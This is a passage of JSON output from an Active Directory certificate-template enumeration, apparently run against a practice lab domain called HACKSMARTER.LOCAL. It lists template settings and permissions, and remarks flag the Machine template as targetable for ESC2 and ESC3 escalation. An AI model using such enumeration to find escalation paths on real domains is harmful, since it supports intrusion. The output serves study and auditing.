"HACKSMARTER.LOCAL\\\\Enterprise Admins" ], "Write Dacl Principals": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ], "Write Property Enroll": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ] } } }, "1": { "Template Name": "CAExchange", "Display Name": "CA Exchange", "Enabled": false, "Client Authentication": false, "Enrollment Agent": false, "Any Purpose": false, "Enrollee Supplies Subject": true, "Certificate Name Flag": [ 1 ], "Enrollment Flag": [ 1 ], "Extended Key Usage": [ "Private Key Archival" ], "Requires Manager Approval": false, "Requires Key Archival": false, "Authorized Signatures Required": 0, "Schema Version": 2, "Validity Period": "1 week", "Renewal Period": "1 day", "Minimum RSA Key Length": 2048, "Template Created": "2025-09-21 15:42:14+00:00", "Template Last Modified": "2025-09-21 15:42:14+00:00", "Permissions": { "Enrollment Permissions": { "Enrollment Rights": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ] }, "Object Control Permissions": { "Owner": "HACKSMARTER.LOCAL\\\\Enterprise Admins", "Full Control Principals": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ], "Write Owner Principals": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ], "Write Dacl Principals": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ], "Write Property Enroll": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ] } } }, "2": { "Template Name": "CrossCA", "Display Name": "Cross Certification Authority", "Enabled": false, "Client Authentication": true, "Enrollment Agent": true, "Any Purpose": true, "Enrollee Supplies Subject": true, "Certificate Name Flag": [ 1 ], "Enrollment Flag": [ 8 ], "Private Key Flag": [ 16 ], "Requires Manager Approval": false, "Requires Key Archival": false, "RA Application Policies": [ "Qualified Subordination" ], "Authorized Signatures Required": 1, "Schema Version": 2, "Validity Period": "5 years", "Renewal Period": "6 weeks", "Minimum RSA Key Length": 2048, "Template Created": "2025-09-21 15:42:14+00:00", "Template Last Modified": "2025-09-21 15:42:14+00:00", "Permissions": { "Enrollment Permissions": { "Enrollment Rights": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ] }, "Object Control Permissions": { "Owner": "HACKSMARTER.LOCAL\\\\Enterprise Admins", "Full Control Principals": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ], "Write Owner Principals": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ], "Write Dacl Principals": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ], "Write Property Enroll": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ] } } }, "3": { "Template Name": "ExchangeUserSignature", "Display Name": "Exchange Signature Only", "Enabled": false, "Client Authentication": false, "Enrollment Agent": false, "Any Purpose": false, "Enrollee Supplies Subject": true, "Certificate Name Flag": [ 1 ], "Extended Key Usage": [ "Secure Email" ], "Requires Manager Approval": false, "Requires Key Archival": false, "Authorized Signatures Required": 0, "Schema Version": 1, "Validity Period": "1 year", "Renewal Period": "6 weeks", "Minimum RSA Key Length": 2048, "Template Created": "2025-09-21 15:42:14+00:00", "Template Last Modified": "2025-09-21 15:42:14+00:00", "Permissions": { "Enrollment Permissions": { "Enrollment Rights": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ] }, "Object Control Permissions": { "Owner": "HACKSMARTER.LOCAL\\\\Enterprise Admins", "Full Control Principals": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ], "Write Owner Principals": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ], "Write Dacl Principals": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ], "Write Property Enroll": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ] } } }, "4": { "Template Name": "ExchangeUser", "Display Name": "Exchange User", "Enabled": false, "Client Authentication": false, "Enrollment Agent": false, "Any Purpose": false, "Enrollee Supplies Subject": true, "Certificate Name Flag": [ 1 ], "Enrollment Flag": [ 1 ], "Private Key Flag": [ 16 ], "Extended Key Usage": [ "Secure Email" ], "Requires Manager Approval": false, "Requires Key Archival": false, "Authorized Signatures Required": 0, "Schema Version": 1, "Validity Period": "1 year", "Renewal Period": "6 weeks", "Minimum RSA Key Length": 2048, "Template Created": "2025-09-21 15:42:14+00:00", "Template Last Modified": "2025-09-21 15:42:14+00:00", "Permissions": { "Enrollment Permissions": { "Enrollment Rights": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ] }, "Object Control Permissions": { "Owner": "HACKSMARTER.LOCAL\\\\Enterprise Admins", "Full Control Principals": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ], "Write Owner Principals": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ], "Write Dacl Principals": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ], "Write Property Enroll": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ] } } }, "5": { "Template Name": "CEPEncryption", "Display Name": "CEP Encryption", "Enabled": false, "Client Authentication": false, "Enrollment Agent": true, "Any Purpose": false, "Enrollee Supplies Subject": true, "Certificate Name Flag": [ 1 ], "Extended Key Usage": [ "Certificate Request Agent" ], "Requires Manager Approval": false, "Requires Key Archival": false, "Authorized Signatures Required": 0, "Schema Version": 1, "Validity Period": "2 years", "Renewal Period": "6 weeks", "Minimum RSA Key Length": 2048, "Template Created": "2025-09-21 15:42:14+00:00", "Template Last Modified": "2025-09-21 15:42:14+00:00", "Permissions": { "Enrollment Permissions": { "Enrollment Rights": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ] }, "Object Control Permissions": { "Owner": "HACKSMARTER.LOCAL\\\\Enterprise Admins", "Full Control Principals": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ], "Write Owner Principals": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ], "Write Dacl Principals": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ], "Write Property Enroll": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ] } } }, "6": { "Template Name": "OfflineRouter", "Display Name": "Router (Offline request)", "Enabled": false, "Client Authentication": true, "Enrollment Agent": false, "Any Purpose": false, "Enrollee Supplies Subject": true, "Certificate Name Flag": [ 1 ], "Extended Key Usage": [ "Client Authentication" ], "Requires Manager Approval": false, "Requires Key Archival": false, "Authorized Signatures Required": 0, "Schema Version": 1, "Validity Period": "2 years", "Renewal Period": "6 weeks", "Minimum RSA Key Length": 2048, "Template Created": "2025-09-21 15:42:14+00:00", "Template Last Modified": "2025-09-21 15:42:14+00:00", "Permissions": { "Enrollment Permissions": { "Enrollment Rights": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ] }, "Object Control Permissions": { "Owner": "HACKSMARTER.LOCAL\\\\Enterprise Admins", "Full Control Principals": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ], "Write Owner Principals": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ], "Write Dacl Principals": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ], "Write Property Enroll": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ] } } }, "7": { "Template Name": "IPSECIntermediateOffline", "Display Name": "IPSec (Offline request)", "Enabled": false, "Client Authentication": false, "Enrollment Agent": false, "Any Purpose": false, "Enrollee Supplies Subject": true, "Certificate Name Flag": [ 1 ], "Extended Key Usage": [ "IP security IKE intermediate" ], "Requires Manager Approval": false, "Requires Key Archival": false, "Authorized Signatures Required": 0, "Schema Version": 1, "Validity Period": "2 years", "Renewal Period": "6 weeks", "Minimum RSA Key Length": 2048, "Template Created": "2025-09-21 15:42:14+00:00", "Template Last Modified": "2025-09-21 15:42:14+00:00", "Permissions": { "Enrollment Permissions": { "Enrollment Rights": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ] }, "Object Control Permissions": { "Owner": "HACKSMARTER.LOCAL\\\\Enterprise Admins", "Full Control Principals": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ], "Write Owner Principals": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ], "Write Dacl Principals": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ], "Write Property Enroll": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ] } } }, "8": { "Template Name": "IPSECIntermediateOnline", "Display Name": "IPSec", "Enabled": false, "Client Authentication": false, "Enrollment Agent": false, "Any Purpose": false, "Enrollee Supplies Subject": false, "Certificate Name Flag": [ 134217728, 268435456 ], "Enrollment Flag": [ 32 ], "Extended Key Usage": [ "IP security IKE intermediate" ], "Requires Manager Approval": false, "Requires Key Archival": false, "Authorized Signatures Required": 0, "Schema Version": 1, "Validity Period": "2 years", "Renewal Period": "6 weeks", "Minimum RSA Key Length": 2048, "Template Created": "2025-09-21 15:42:14+00:00", "Template Last Modified": "2025-09-21 15:42:14+00:00", "Permissions": { "Enrollment Permissions": { "Enrollment Rights": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Domain Computers", "HACKSMARTER.LOCAL\\\\Domain Controllers", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ] }, "Object Control Permissions": { "Owner": "HACKSMARTER.LOCAL\\\\Enterprise Admins", "Full Control Principals": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ], "Write Owner Principals": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ], "Write Dacl Principals": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ], "Write Property Enroll": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Domain Computers", "HACKSMARTER.LOCAL\\\\Domain Controllers", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ] } } }, "9": { "Template Name": "SubCA", "Display Name": "Subordinate Certification Authority", "Certificate Authorities": [ "hacksmarter-DC01-CA" ], "Enabled": true, "Client Authentication": true, "Enrollment Agent": true, "Any Purpose": true, "Enrollee Supplies Subject": true, "Certificate Name Flag": [ 1 ], "Private Key Flag": [ 16 ], "Requires Manager Approval": false, "Requires Key Archival": false, "Authorized Signatures Required": 0, "Schema Version": 1, "Validity Period": "5 years", "Renewal Period": "6 weeks", "Minimum RSA Key Length": 2048, "Template Created": "2025-09-21 15:42:14+00:00", "Template Last Modified": "2025-09-21 15:42:14+00:00", "Permissions": { "Enrollment Permissions": { "Enrollment Rights": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ] }, "Object Control Permissions": { "Owner": "HACKSMARTER.LOCAL\\\\Enterprise Admins", "Full Control Principals": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ], "Write Owner Principals": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ], "Write Dacl Principals": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ], "Write Property Enroll": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ] } } }, "10": { "Template Name": "CA", "Display Name": "Root Certification Authority", "Enabled": false, "Client Authentication": true, "Enrollment Agent": true, "Any Purpose": true, "Enrollee Supplies Subject": true, "Certificate Name Flag": [ 1 ], "Private Key Flag": [ 16 ], "Requires Manager Approval": false, "Requires Key Archival": false, "Authorized Signatures Required": 0, "Schema Version": 1, "Validity Period": "5 years", "Renewal Period": "6 weeks", "Minimum RSA Key Length": 2048, "Template Created": "2025-09-21 15:42:14+00:00", "Template Last Modified": "2025-09-21 15:42:14+00:00", "Permissions": { "Enrollment Permissions": { "Enrollment Rights": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ] }, "Object Control Permissions": { "Owner": "HACKSMARTER.LOCAL\\\\Enterprise Admins", "Full Control Principals": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ], "Write Owner Principals": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ], "Write Dacl Principals": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ], "Write Property Enroll": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ] } } }, "11": { "Template Name": "WebServer", "Display Name": "Web Server", "Certificate Authorities": [ "hacksmarter-DC01-CA" ], "Enabled": true, "Client Authentication": false, "Enrollment Agent": false, "Any Purpose": false, "Enrollee Supplies Subject": true, "Certificate Name Flag": [ 1 ], "Extended Key Usage": [ "Server Authentication" ], "Requires Manager Approval": false, "Requires Key Archival": false, "Authorized Signatures Required": 0, "Schema Version": 1, "Validity Period": "2 years", "Renewal Period": "6 weeks", "Minimum RSA Key Length": 2048, "Template Created": "2025-09-21 15:42:14+00:00", "Template Last Modified": "2025-09-21 15:42:14+00:00", "Permissions": { "Enrollment Permissions": { "Enrollment Rights": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ] }, "Object Control Permissions": { "Owner": "HACKSMARTER.LOCAL\\\\Enterprise Admins", "Full Control Principals": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ], "Write Owner Principals": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ], "Write Dacl Principals": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ], "Write Property Enroll": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ] } } }, "12": { "Template Name": "DomainController", "Display Name": "Domain Controller", "Certificate Authorities": [ "hacksmarter-DC01-CA" ], "Enabled": true, "Client Authentication": true, "Enrollment Agent": false, "Any Purpose": false, "Enrollee Supplies Subject": false, "Certificate Name Flag": [ 16777216, 134217728, 268435456 ], "Enrollment Flag": [ 1, 8, 32 ], "Extended Key Usage": [ "Client Authentication", "Server Authentication" ], "Requires Manager Approval": false, "Requires Key Archival": false, "Authorized Signatures Required": 0, "Schema Version": 1, "Validity Period": "1 year", "Renewal Period": "6 weeks", "Minimum RSA Key Length": 2048, "Template Created": "2025-09-21 15:42:14+00:00", "Template Last Modified": "2025-09-21 15:42:14+00:00", "Permissions": { "Enrollment Permissions": { "Enrollment Rights": [ "HACKSMARTER.LOCAL\\\\Enterprise Read-only Domain Controllers", "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Domain Controllers", "HACKSMARTER.LOCAL\\\\Enterprise Admins", "HACKSMARTER.LOCAL\\\\Enterprise Domain Controllers" ] }, "Object Control Permissions": { "Owner": "HACKSMARTER.LOCAL\\\\Enterprise Admins", "Full Control Principals": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ], "Write Owner Principals": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ], "Write Dacl Principals": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ], "Write Property Enroll": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Domain Controllers", "HACKSMARTER.LOCAL\\\\Enterprise Admins", "HACKSMARTER.LOCAL\\\\Enterprise Domain Controllers" ] } } }, "13": { "Template Name": "Machine", "Display Name": "Computer", "Certificate Authorities": [ "hacksmarter-DC01-CA" ], "Enabled": true, "Client Authentication": true, "Enrollment Agent": false, "Any Purpose": false, "Enrollee Supplies Subject": false, "Certificate Name Flag": [ 134217728, 268435456 ], "Enrollment Flag": [ 32 ], "Extended Key Usage": [ "Client Authentication", "Server Authentication" ], "Requires Manager Approval": false, "Requires Key Archival": false, "Authorized Signatures Required": 0, "Schema Version": 1, "Validity Period": "1 year", "Renewal Period": "6 weeks", "Minimum RSA Key Length": 2048, "Template Created": "2025-09-21 15:42:14+00:00", "Template Last Modified": "2025-09-21 15:42:14+00:00", "Permissions": { "Enrollment Permissions": { "Enrollment Rights": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Domain Computers", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ] }, "Object Control Permissions": { "Owner": "HACKSMARTER.LOCAL\\\\Enterprise Admins", "Full Control Principals": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ], "Write Owner Principals": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ], "Write Dacl Principals": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ], "Write Property Enroll": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Domain Computers", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ] } }, "[+] User Enrollable Principals": [ "HACKSMARTER.LOCAL\\\\Domain Computers" ], "[*] Remarks": { "ESC2 Target Template": "Template can be targeted as part of ESC2 exploitation. This is not a vulnerability by itself. See the wiki for more details. Template has schema version 1.", "ESC3 Target Template": "Template can be targeted as part of ESC3 exploitation. This is not a vulnerability by itself. See the wiki for more details. Template has schema version 1." } }, "14": { "Template Name": "MachineEnrollmentAgent", "Display Name": "Enrollment Agent (Computer)", "Enabled": false, "Client Authentication": false, "Enrollment Agent": true, "Any Purpose": false, "Enrollee Supplies Subject": false, "Certificate Name Flag": [ 134217728, 268435456 ], "Enrollment Flag": [ 32 ], "Extended Key Usage": [ "Certificate Request Agent" ], "Requires Manager Approval": false, "Requires Key Archival": false, "Authorized Signatures Required": 0, "Schema Version": 1, "Validity Period": "2 years", "Renewal Period": "6 weeks", "Minimum RSA Key Length": 2048, "Template Created": "2025-09-21 15:42:14+00:00", "Template Last Modified": "2025-09-21 15:42:14+00:00", "Permissions": { "Enrollment Permissions": { "Enrollment Rights": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ] }, "Object Control Permissions": { "Owner": "HACKSMARTER.LOCAL\\\\Enterprise Admins", "Full Control Principals": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ], "Write Owner Principals": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ], "Write Dacl Principals": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ], "Write Property Enroll": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ] } } }, "15": { "Template Name": "EnrollmentAgentOffline", "Display Name": "Exchange Enrollment Agent (Offline request)", "Enabled": false, "Client Authentication": false, "Enrollment Agent": true, "Any Purpose": false, "Enrollee Supplies Subject": true, "Certificate Name Flag": [ 1 ], "Extended Key Usage": [ "Certificate Request Agent" ], "Requires Manager Approval": false, "Requires Key Archival": false, "Authorized Signatures Required": 0, "Schema Version": 1, "Validity Period": "2 years", "Renewal Period": "6 weeks", "Minimum RSA Key Length": 2048, "Template Created": "2025-09-21 15:42:14+00:00", "Template Last Modified": "2025-09-21 15:42:14+00:00", "Permissions": { "Enrollment Permissions": { "Enrollment Rights": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ] }, "Object Control Permissions": { "Owner": "HACKSMARTER.LOCAL\\\\Enterprise Admins", "Full Control Principals": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ], "Write Owner Principals": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ], "Write Dacl Principals": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ], "Write Property Enroll": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ] } } }, "16": { "Template Name": "EnrollmentAgent", "Display Name": "Enrollment Agent", "Enabled": false, "Client Authentication": false, "Enrollment Agent": true, "Any Purpose": false, "Enrollee Supplies Subject": false, "Certificate Name Flag": [ 33554432, 2147483648 ], "Enrollment Flag": [ 32 ], "Extended Key Usage": [ "Certificate Request Agent" ], "Requires Manager Approval": false, "Requires Key Archival": false, "Authorized Signatures Required": 0, "Schema Version": 1, "Validity Period": "2 years", "Renewal Period": "6 weeks", "Minimum RSA Key Length": 2048, "Template Created": "2025-09-21 15:42:14+00:00", "Template Last Modified": "2025-09-21 15:42:14+00:00", "Permissions": { "Enrollment Permissions": { "Enrollment Rights": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ] }, "Object Control Permissions": { "Owner": "HACKSMARTER.LOCAL\\\\Enterprise Admins", "Full Control Principals": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ], "Write Owner Principals": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ], "Write Dacl Principals": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ], "Write Property Enroll": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ] } } }, "17": { "Template Name": "CTLSigning", "Display Name": "Trust List Signing", "Enabled": false, "Client Authentication": false, "Enrollment Agent": false, "Any Purpose": false, "Enrollee Supplies Subject": false, "Certificate Name Flag": [ 33554432, 2147483648 ], "Enrollment Flag": [ 32 ], "Extended Key Usage": [ "Microsoft Trust List Signing" ], "Requires Manager Approval": false, "Requires Key Archival": false, "Authorized Signatures Required": 0, "Schema Version": 1, "Validity Period": "1 year", "Renewal Period": "6 weeks", "Minimum RSA Key Length": 2048, "Template Created": "2025-09-21 15:42:14+00:00", "Template Last Modified": "2025-09-21 15:42:14+00:00", "Permissions": { "Enrollment Permissions": { "Enrollment Rights": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ] }, "Object Control Permissions": { "Owner": "HACKSMARTER.LOCAL\\\\Enterprise Admins", "Full Control Principals": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ], "Write Owner Principals": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ], "Write Dacl Principals": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ], "Write Property Enroll": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ] } } }, "18": { "Template Name": "CodeSigning", "Display Name": "Code Signing", "Enabled": false, "Client Authentication": false, "Enrollment Agent": false, "Any Purpose": false, "Enrollee Supplies Subject": false, "Certificate Name Flag": [ 33554432, 2147483648 ], "Enrollment Flag": [ 32 ], "Extended Key Usage": [ "Code Signing" ], "Requires Manager Approval": false, "Requires Key Archival": false, "Authorized Signatures Required": 0, "Schema Version": 1, "Validity Period": "1 year", "Renewal Period": "6 weeks", "Minimum RSA Key Length": 2048, "Template Created": "2025-09-21 15:42:14+00:00", "Template Last Modified": "2025-09-21 15:42:14+00:00", "Permissions": { "Enrollment Permissions": { "Enrollment Rights": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ] }, "Object Control Permissions": { "Owner": "HACKSMARTER.LOCAL\\\\Enterprise Admins", "Full Control Principals": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ], "Write Owner Principals": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ], "Write Dacl Principals": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ], "Write Property Enroll": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ] } } }, "19": { "Template Name": "EFSRecovery", "Display Name": "EFS Recovery Agent", "Certificate Authorities": [ "hacksmarter-DC01-CA" ], "Enabled": true, "Client Authentication": false, "Enrollment Agent": false, "Any Purpose": false, "Enrollee Supplies Subject": false, "Certificate Name Flag": [ 33554432, 2147483648 ], "Enrollment Flag": [ 1, 32 ], "Private Key Flag": [ 16 ], "Extended Key Usage": [ "File Recovery" ], "Requires Manager Approval": false, "Requires Key Archival": false, "Authorized Signatures Required": 0, "Schema Version": 1, "Validity Period": "5 years", "Renewal Period": "6 weeks", "Minimum RSA Key Length": 2048, "Template Created": "2025-09-21 15:42:14+00:00", "Template Last Modified": "2025-09-21 15:42:14+00:00", "Permissions": { "Enrollment Permissions": { "Enrollment Rights": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ] }, "Object Control Permissions": { "Owner": "HACKSMARTER.LOCAL\\\\Enterprise Admins", "Full Control Principals": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ], "Write Owner Principals": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ], "Write Dacl Principals": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ], "Write Property Enroll": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ] } } }, "20": { "Template Name": "Administrator", "Display Name": "Administrator", "Certificate Authorities": [ "hacksmarter-DC01-CA" ], "Enabled": true, "Client Authentication": true, "Enrollment Agent": false, "Any Purpose": false, "Enrollee Supplies Subject": false, "Certificate Name Flag": [ 33554432, 67108864, 536870912, 2147483648 ], "Enrollment Flag": [ 1, 8, 32 ], "Private Key Flag": [ 16 ], "Extended Key Usage": [ "Microsoft Trust List Signing", "Encrypting File System", "Secure Email", "Client Authentication" ], "Requires Manager Approval": false, "Requires Key Archival": false, "Authorized Signatures Required": 0, "Schema Version": 1, "Validity Period": "1 year", "Renewal Period": "6 weeks", "Minimum RSA Key Length": 2048, "Template Created": "2025-09-21 15:42:14+00:00", "Template Last Modified": "2025-09-21 15:42:14+00:00", "Permissions": { "Enrollment Permissions": { "Enrollment Rights": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ] }, "Object Control Permissions": { "Owner": "HACKSMARTER.LOCAL\\\\Enterprise Admins", "Full Control Principals": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ], "Write Owner Principals": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ], "Write Dacl Principals": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ], "Write Property Enroll": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ] } } }, "21": { "Template Name": "EFS", "Display Name": "Basic EFS", "Certificate Authorities": [ 